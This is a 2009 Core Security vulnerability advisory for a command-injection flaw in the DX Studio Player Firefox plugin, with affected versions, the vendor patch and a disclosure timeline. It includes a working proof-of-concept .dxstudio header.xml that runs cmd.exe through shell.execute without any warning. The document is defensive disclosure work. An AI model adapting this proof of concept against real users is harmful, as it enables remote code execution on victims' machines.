Worldweaver DX Studio Player < 3.0.29.1 Firefox plugin - Command Injection

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      Core Security Technologies - CoreLabs Advisory

           http://www.coresecurity.com/corelabs/



    DX Studio Player Firefox plug-in command injection







1. *Advisory Information*



Title: DX Studio Player Firefox plug-in command injection

Advisory ID: CORE-2009-0521

Advisory URL:

http://www.coresecurity.com/content/DXStudio-player-firefox-plugin

Date published: 2009-06-09

Date of last update: 2009-06-09

Vendors contacted: Worldweaver

Release mode: Coordinated release





2. *Vulnerability Information*



Class: Command injection

Remotely Exploitable: Yes

Locally Exploitable: No

Bugtraq ID: N/A

CVE Name: CVE-2009-2011





3. *Vulnerability Description*



DX Studio [1] is a complete integrated development environment for

creating interactive 3D graphics. DX Studio Player plug-in for Firefox

[2] is vulnerable to a remote command execution vulnerability.





4. *Vulnerable packages*



   . DX Studio Player v3.0.29.0

   . DX Studio Player v3.0.22.0

   . DX Studio Player v3.0.12.0

   . Older versions are probably affected too, but they were not checked.





5. *Non-vulnerable packages*



   . DX Studio Player v3.0.29.1





6. *Vendor Information, Solutions and Workarounds*



On June 1st DXStudio team patched the current release 3.0.29 to 3.0.29.1

for all new downloads to fix the problem with the Firefox plugin, and

also posted a sticky announce for all its users [3].





7. *Credits*



This vulnerability was discovered and researched by Diego Juarez from

Core Security Technologies.





8. *Technical Description / Proof of Concept Code*



DX Studio is a complete integrated development environment for creating

interactive 3D graphics. DX Studio provides a javascript API in which

the method 'shell.execute()' is defined as follows:



/-----------



Prototype:

shell.execute(commandString, [paramString], [commandIsProgId]);



- -----------/



This method sends the 'commandString' to the Windows shell with optional

parameters in 'paramString'. For security reasons, this function is not

available when running in a web browser. If you set 'commandIsProgId' to

true, you can launch a utility by its 'ProgID', e.g. 'WMP.DVD' with

parameter 'play' would play a DVD in Windows Media Player.



In our tests, despite what is stated in the documentation, we found that

the function is actually available to both the Internet Explorer and

Firefox browser plug-ins. In the IE plug-in the user does get a warning

about the security implications of allowing such '.dxstudio' file to

run. On Firefox however, there is no such warning whatsoever, allowing

an attacker to execute arbitrary code on the client side by luring the

victim into clicking a link or visiting a malicious website.





8.1. *Proof of Concept (header.xml)*



/-----------



<?xml version="1.0" encoding="utf-8" standalone="yes"?>

<dxstudio version="1.0.0" width="800" height="600"

defaultscriptlanguage="javascript">

  <display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no"

maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes"

changeresolution="no" userresize="yes" workarea="no" windowmask="no"

src="" minplayerversion="1.0.0">

    <loading console="yes" custom="no" custombackground="no"

customlogo="yes" showversion="no">

      <prop id="background" type="color" r="0" g="0" b="0" a="1" />

      <logo src="" />

      <customprogress />

    </loading>

  </display>

  <script>

    <![CDATA[function onInit()

{

shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.")

} ] ]>

  </script>

  <licenseinfo stamp="cgdaaaaa" />

  <security>

    <prop id="password" type="string" value="" />

    <prop id="allowplayer" type="bool" state="no" />

    <prop id="nocache" type="bool" state="yes" />

  </security>

</dxstudio>



- -----------/



Note: The security vulnerability is also exploitable on the standalone

player, however, this functionality appears to be the expected behavior

and fully intended for the standalone player.





9. *Report Timeline*



. 2009-05-21:

Core Security Technologies notifies the Worldweaver Support Team (WST)

of the vulnerability and announces its initial plan to publish the

content on June 15th, 2009.



. 2009-05-26:

The WST asks Core for a technical description of the vulnerability.



. 2009-05-26:

Technical details sent to WST by Core.



. 2009-06-08:

Core asks WST for an estimated date to fix this issue.



. 2009-06-08:

WST notifies Core that a fix has already been produced and it is

available to the users.



. 2009-06-09:

The advisory CORE-2009-0521 is published.





10. *References*



[1] http://www.dxstudio.com.

[2] http://www.dxstudio.com/download2.aspx.

[3]

http://www.dxstudio.com/forumtopic.aspx?topicid=b4152459-fb5f-4933-b700-b3fbd54f6bfd





11. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://www.coresecurity.com/corelabs.





12. *About Core Security Technologies*



Core Security Technologies develops strategic solutions that help

security-conscious organizations worldwide develop and maintain a

proactive process for securing their networks. The company's flagship

product, CORE IMPACT, is the most comprehensive product for performing

enterprise security assurance testing. CORE IMPACT evaluates network,

endpoint and end-user vulnerabilities and identifies what resources are

exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

security consulting services, including penetration testing and software

security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core

Security Technologies can be reached at 617-399-6980 or on the Web at

http://www.coresecurity.com.





13. *Disclaimer*



The contents of this advisory are copyright (c) 2009 Core Security

Technologies and (c) 2009 CoreLabs, and may be distributed freely

provided that no fee is charged for this distribution and proper credit

is given.





14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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# milw0rm.com [2009-06-10]